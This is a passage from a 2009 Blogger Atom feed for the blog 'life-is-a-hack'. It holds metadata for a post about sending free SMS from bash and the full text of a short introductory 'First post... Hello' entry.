href='http://life-is-a-hack.blogspot.com/feeds/1408886256231535893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/small-hack-for-web-apps.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1408886256231535893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1408886256231535893'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/small-hack-for-web-apps.html' title='Small hack to send free sms, totally in bash...'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_VjvtY-L1RNE/SjEsvJJEwgI/AAAAAAAAABM/lKPZtPSMhjk/s72-c/2009-06-11-154019_1281x876_scrot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-5594393097686846469</id><published>2009-06-11T14:46:00.000+02:00</published><updated>2009-06-11T14:49:43.212+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Intro'/><title type='text'>First post... Hello</title><content type='html'>Hi there... first post on my first blog... cool, sounds easy. I'll try to make small articles on every days "hacks" that simplify my life.&lt;br /&gt;Let's see how things go :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-5594393097686846469?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/5594393097686846469/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/first-post-hello.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/5594393097686846469'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/5594393097686846469'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/06/first-post-hello.html' title='First post... Hello'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry></feed>
